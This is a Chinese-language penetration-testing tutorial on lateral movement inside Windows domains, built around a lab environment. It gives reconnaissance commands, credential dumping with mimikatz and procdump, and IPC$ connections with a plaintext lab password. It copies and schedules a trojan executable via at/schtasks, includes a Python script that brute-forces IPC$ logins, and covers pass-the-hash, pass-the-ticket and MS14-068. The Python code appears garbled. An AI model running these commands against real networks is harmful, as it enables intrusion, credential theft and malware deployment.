0x00 Preface
內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。
內網相關概念這里不再進行介紹,大家可以自行百度,諸如什么是域、域與工作組的區別、什么是DC、什么是AD等。當然,概念是生澀難懂的,結合實際環境會有助于理解。某內網靶場的詳細教程:Vulnstack(一)
內網滲透過程中經常會涉及到內網穿透,如何理解內網穿透以及端口轉發、端口映射等相關知識可以參考:如何從零構建對內網穿透的理解
實操部分寫的比較草率,主要是為了增強認知、擴展思路、擴充知識面。實際上有很多優秀的集成化工具,很少會拆分開來單獨使用這些方法。當然,大多數情況下是要考慮免殺的,免殺時可能會將某一步操作拆分出來,單獨進行免殺和利用。
0x01 信息收集
查看系統詳細信息,如OS版本、補丁安裝情況,可以根據這些信息篩選可利用的漏洞:
systeminfo

查看啟動進程,可以根據啟動進程判斷主機在域中扮演的角色:
net start

查看進程列表:
tasklist

查看端口開放情況:
netstat -ano

判斷是否存在域:
net view /domain

查看主機名、域DNS、IP:
ipconfig /all

查看域內主機:
net view

域內主機以域服務器時間為準,故該命令可用于判斷DC:
net time /domain

查看IP:
nslookup 域名

查看登錄信息:
net config workstation

查看用戶信息:
whoami /all

查看域內用戶,可以將其作為字典,對其他主機的密碼進行爆破:
net user /domain

這個命令在DC上可以直接執行,在其他域主機上執行要求打開DC的RPC服務。

探針域內存活主機:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

當然也可以借助nmap、masscan等第三方工具或empire、nishang等第三方腳本,但是使用系統命令的最大好處就是不用考慮免殺。
域內其實還有一臺機器STU1,但它開了防火墻,所以是禁ping的,這可能也是前面net view時沒有顯示STU1的原因。我們關了防火墻再試一遍:


- 計算機用戶Hash、明文獲取:
mimikatz:Win;mimipenguin:Linux。
- 計算機各種協議、服務口令的獲取:
LaZagne:適用于Windows、Linux、Mac。支持面廣,但功能一般。
XenArmor:Win,付費。
- 探測域內存活主機及地址信息:
自帶的內部命令(.bat)、nmap、masscan、powershell第三方腳本:empire、nishang。
需要注意的是,Mimikatz屬于第三方軟件,直接上傳到目標主機可能被殺毒軟件查殺,這時我們可以配合官方軟件Procdump,將Procdump上傳目標主機獲取用戶信息(該文件不可讀),使用本地的Mimikatz打開Procdump獲取的用戶信息。
mimikatz下載:
https://github.com/gentilkiwi/mimikatz/releases
procdump下載:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
0x02 IPC&SMB&VMI
前面已經說了,內網滲透主要是基于口令的攻擊。同一域內的主機不計其數,域用戶不計其數,為了便于記憶和管理,域成員的密碼很多都會有重合。當我們拿到某個域成員的密碼,就可以利用它把口子越撕越大,不斷豐富我們的密碼字典,然后不斷地對域內主機進行爆破,直至拿下DC。
Windows提供了許多協議和相關功能,我們可以利用這些功能和協議傳遞用戶的憑證進行驗證。
一、SMB 協議
SMB 一種客戶機/服務器、請求/響應協議。通過 SMB 協議,客戶端應用程序可以在各種網絡環境下讀、寫服務器上的文件,以及對服務器程序提出服務請求。此外通過 SMB 協議,應用程序可以訪問遠程服務器端的文件、以及打印機、郵件槽(mailslot)、命名管道(named pipe)等資源。
在 TCP/IP 環境下,客戶機通過 NetBIOS over TCP/IP(或 NetBEUI/TCP 或 SPX/IPX)連接服務器。一旦連接成功,客戶機可發送 SMB
命令到服務器上,從而客戶機能夠訪問共享目錄、打開文件、讀寫文件,以及一切在文件系統上能做的所有事情。
這么說吧,域內最重要的是啥?一個是為了保障安全(內網與外網相隔絕),另一個就是資源共享,畢竟大家都是一條船上的人。SMB 協議就是用于實現各種資源的共享的,其中就包括IPC連接中的命名管道。
在Windows NT中SMB基于NBT實現。而在Windows2000中,SMB除了基于NBT的實現,還有直接通過445端口實現。NBT(NetBIOS over TCP/IP):使用137, 138 (UDP) and 139 (TCP)來實現基于TCP/IP的NETBIOS網際互聯。
我的理解就是,445是139的升級,139實現條件比445更苛刻,但兩者都是為了實現SMB協議,因此兩者并不沖突。在WindowsNT中SMB基于NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT實現,還可以直接通過445端口實現。
二、IPC
IPC(Inter-Process Communication,進程間通信),進程間通信是指兩個進程的數據之間產生交互。進程間通信主要方式有共享內存、消息隊列、管道等。其中共享內存主要用于同一計算機內進程間通信,消息隊列和管道主要用于分布式環境(通信進程位于通過網絡連接的不同計算機)。

“命名管道”又名“命名管線”(Named Pipes),是一種簡單的進程間通信(IPC)機制,Microsoft Windows大都提供了對它的支持(但不包括Windows CE)。命名管道可在同一臺計算機的不同進程之間或在跨越一個網絡的不同計算機的不同進程之間,支持可靠的、單向或雙向的數據通信。推薦用命名管道作為進程通信方案的一項重要的原因是它們充分利用了Windows內建的安全特性(ACL等)。
與TCP/IP(傳輸控制協議或internet協議)一樣,命名管道是一種通訊協議。它一般用于局域網中,因為它要求客戶端必須具有訪問服務器資源的權限(SMB協議)。
在快速局域網 (LAN) 環境中,傳輸控制協議或 Internet 協議 (TCP/IP) 套接字客戶端和 Named Pipes 客戶端在性能方面不相上下。但是網絡速度越慢,TCP/IP 套接字客戶端與 Named Pipes 客戶端的性能差異越明顯。這是因為TCP/IP 套接字的數據傳輸的效率更高,開銷也更少。數據傳輸還可以利用 TCP/IP 套接字性能增強機制的優點,如開窗口、延遲確認等,這在慢速網絡中可能非常有益。而對于命名管道,通常網絡通信交互性更強。一個對等項直到另一個對等項使用讀取命令請求數據時才發送數據。在開始讀取數據前,網絡讀取一般包括一系列窺視命名管道的信息。這在慢速網絡中可能花費非常多并導致過多的網絡流量,其它的網絡客戶端反過來也會受到影響。
使用命名管道的原因一般有兩個方面:
- 提高速度:假設同樣在局域網中,那么使用命名管道協議會比TCP/IP協議快一些。
- 增加安全性:因為命名管道是只能用于局域網的,那么如果服務器關閉了TCP/IP協議而僅啟用命名管道,就可以避免一些安全隱患。
總結一下,FIFOs是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。因此,我們可以基于此實現對用戶名和密碼的爆破。需要注意的是,IPC$需要139或445端口的支持。
三、VMI
Windows管理工具(WMI)由一組擴展到的Windows驅動程序模型。WMI允許腳本語言(例如VBScript或Windows PowerShell)來本地或遠程管理Microsoft Windows個人電腦和服務器。
簡單來說,咱們在cmd或者powershell中使用的命令行語言,就是VMI支持的,它提供給我們一個接口如powershell,便于我們管理計算機。
談及遠程管理,延申幾個比較重要的端口,如22、23、135、139、445、3389等。139、445端口我們前面已經討論過了,22端口是linux的ssh,23端口是telnet,3389是遠程桌面連接rdp,這些都比較好理解。咱們重點來說一下135端口。
135端口主要用于使用RPC(Remote Procedure Call,遠程過程調用)協議并提供DCOM(分布式組件對象模型)服務,通過RPC可以保證在一臺計算機上運行的程序可以順利地執行遠程計算機上的代碼;使用DCOM可以通過網絡直接進行通信,能夠包括HTTP協議在內的多種網絡傳輸。
進程間通信(IPC)是在多任務操作系統或聯網的計算機之間運行的程序和進程所用的通信技術。有兩種類型的進程間通信(IPC)。
本地過程調用(LPC):LPC用在多任務操作系統中,使得同時運行的任務能互相會話。這些任務共享內存空間使任務同步和互相發送信息。
遠程過程調用(RPC):RPC類似于LPC,只是在網上工作。RPC開始是出現在Sun微系統公司和HP公司的運行UNⅨ操作系統的計算機中。
簡單來說,RPC就是用于支持遠程IPC的連接。無論是本地連接還是遠程連接,都要依托于VMI服務進行管理。
四、小結
SMB協議用于實現共享,IPC用于建立連接,不連接怎么共享?前面已經說了,共享是包括命名管道的,而命名管道正是連接方式,因此SMB協議的共享其實是包含IPC的,不僅如此,它還依賴于IPC連接。但是歸根結底,對于連接后的計算機的遠程管理,還是要依托于VMI。
0x03 at&schtasks
at&schtasks用于創建定時任務,其中at<Windows2012,schtasks>=Windows2012。
利用場景:
已拿下內網中一臺主機的權限(webserver),掌握該主機的域用戶名和密碼,知道域內其他用戶名。
利用流程:
1.建立IPC連接到目標主機(明文密碼)
2.copy要執行的命令腳本到目標主機
3.查看目標時間,創建計劃任務(at、schtasks)定時執行copy的腳本
4.刪除IPC連接

查看當前網絡連接:
net use

使用明文密碼hongrisec@2021與192.168.52.143的god\administrator用戶建立遠程IPC連接:
net use \\192.168.52.143\ipc$ "hongrisec@2021" /user:god\administrator

先將惡意文件上傳到外圍打點時拿下權限的webserver上,再通過前面建立的遠程IPC連接將惡意文件從webserver copy到目標主機:
copy C:\Users\liukaifeng01\Desktop\muma.exe \\192.168.52.143\C$


一、at<Windows2012
Windows2012以下版本,添加計時任務:
at \\192.168.52.143 15:30 C:\muma.exe
二、schtasks>=Windows2012
Windows2012及以上版本,創建計時任務對應文件:
schtasks /create /s 192.168.52.143 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\muma.exe /F
運行adduser任務:
schtasks /run /s 192.168.52.143 /tn adduser
刪除adduser任務:
schtasks /delete /s 192.168.52.143 /tn adduser
三、impacket
impacket是一個打包好的工具包,里面包含了對于各種協議和系統命令的利用工具。對于at&schtasks,我們可以使用impacket中的atexec.exe,使用它可以輕松地進行遠程連接并執行系統命令。

python版impacket下載:
https://github.com/SecureAuthCorp/impacket
exe版impacket下載:
https://gitee.com/RichChigga/impacket-examples-windows
在實戰中,當我們拿下了webserver,獲取了webserver上的密碼以及所有的域用戶、本地用戶、域內存活主機IP后,我們就可以以用戶為用戶字典、IP為IP字典、密碼為密碼字典,進行批量連接(碰撞),探測哪些主機可以成功連接。一旦成功連接,便意味著我們可以通過計劃任務等方式拿到連接的主機權限。拿到新的主機權限后,我們就可以獲得新的主機密碼,然后豐富自己的密碼字典,再進行批量連接(碰撞)。循環往復,直至拿下DC。
如上圖所示,使用bat腳本只能遍歷一個變量,如果想要同時遍歷三個變量,可以使用python。例如建立三個列表,使用三個循環進行遍歷,循環生成命令執行語句(string),最后使用python os模塊中的os.system()函數執行系統命令。但需要注意的是,域內主機上很可能沒有python環境,因此我們需要借助python中的pyinstaller模塊,它可以將py腳本打包成可執行文件,直接在windows上運行:
pip install pyinstallerpyinstaller -F app.py
import os,timeips={'192.168.3.21','192.168.3.25','192.168.3.29','192.168.3.30','192.168.3.31','192.168.3.33'}
users={'Administrator','boss','dbadmin','fileadmin','mack','mary','vpnadm','webadmin'}passs={'admin','admin!@#45','Admin12345'}
for ip in ips:for user in users:for mima in passs: exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user print('--->'+exec+'<---') os.system(exec) time.sleep(1)
0x04 smb&wmi
利用思路不變,變的僅是命令。

psexec是微軟官方pstools中的工具,所以不需要考慮免殺。其中上圖中說到,psexec第二種方法和smbexec無需建立IPC連接,我認為是不合理的。這幾種方法只是命令不同罷了,提供明文賬戶密碼的時候也是要建立IPC連接的,因為這個利用就是基于IPC的共享。
另外需要注意的就是,官方是不支持hash連接的,如果想要使用hash連接(僅能得到hash),可以使用impacket工具包,但是要做好免殺。

我個人認為,前面介紹的幾種方法沒啥區別,都是基于IPC$共享,都需要139/445端口的開啟,初此之外,還離不開135端口,因為135端口時用于支持遠程IPC建立的。IPC$共享的目的是為了便于管理員進行遠程操作和管理,但是我們可以利用驗證時的回顯進行密碼爆破。
0x05 pth&ptk&ptt
PTH:pass the hash(LM、NTLM)
PTK:pass the key(AES 256)
PTT:pass the ticket
Windows2012及以上版本默認關閉wdigest,攻擊者無法從內存中獲取明文密碼。Windows2012以下版本如安裝KB2871997補丁,同樣也會導致無法獲取明文密碼。
針對以上情況,我們提供了如下解決方案:
1.利用hash傳遞(pth、ptk等)進行移動
2.利用注冊表操作開啟 Wdigest Auth 值進行獲取
3.利用工具或第三方平臺(Hashcat)進行破解獲取
Windows認證采用LM Hash及NTLM Hash加密算法,個人系統在Windows vista后,服務器系統在Windows 2003以后,認證方式均為NTLM Hash。
如果僅得到了Hash,既可以嘗試在本機破解,也可以使用前面介紹的impacket。impacket中的工具能傳遞hash并能直接執行系統命令,優點:自帶提權,命令簡潔,功能強大。缺點:非官方工具,容易被殺。
PTH、PTK均可以使用mimikatz進行獲取和攻擊,這里不再贅述,mimikatz相關使用自行百度。
hash破解工具hashcat下載:https://github.com/hashcat/hashcat

需要注意的是,只有打了補丁(KB2871997)才能使用ptk。
PTT攻擊的部分就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的。
Kerberos 協議具體工作方法,在域中,簡要介紹一下:
1.客戶機將明文密碼進行 NTLM 哈希,然后和時間戳一起加密(使用krbtgt 密碼 hash 作為密鑰),發送給 kdc(域控),kdc 對用戶進行檢測,成功之后創建 TGT(Ticket-Granting Ticket)
2.將 TGT 進行加密簽名返回給客戶機器,只有域用戶 krbtgt 才能讀取 kerberos 中TGT 數據
3.然后客戶機將 TGT 發送給域控制器 KDC 請求 TGS(票證授權服務)票證,并且對 TGT 進行檢測
4.檢測成功之后,將目標服務賬戶的 NTLM 以及 TGT 進行加密,將加密后的結果返回給客戶機。
說白了,票據就跟cookie一樣,我們需要獲取新鮮的cookie(未過期,主機登錄后十小時左右過期),然后注入內存當中,通過偽裝混過認證。

這個可以通過漏洞poc或工具進行利用,MS14-068下載:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
工具kekeo下載:
https://github.com/gentilkiwi/kekeo/releases
0x05 Reference
SQL Server中的命名管道(named pipe)及其使用-https://www.cnblogs.com/chenxizhang/archive/2009/04/23/1441913.html
進程間通信(IPC):共享內存和消息隊列原理詳解-http://c.biancheng.net/view/1208.html
命名管道 TCP/IP協議 匿名管道-https://blog.csdn.net/ylwdi/article/details/12945587
Windows系統安全 | IPC$共享和其他共享(C$、D$、Admin$)-https://cn-sec.com/archives/385447.html
一顆小胡椒
一顆小胡椒
黑白之道
安全圈
一顆小胡椒
關鍵基礎設施安全應急響應中心
FreeBuf
FreeBuf
虹科網絡安全
一顆小胡椒
LemonSec
金融電子化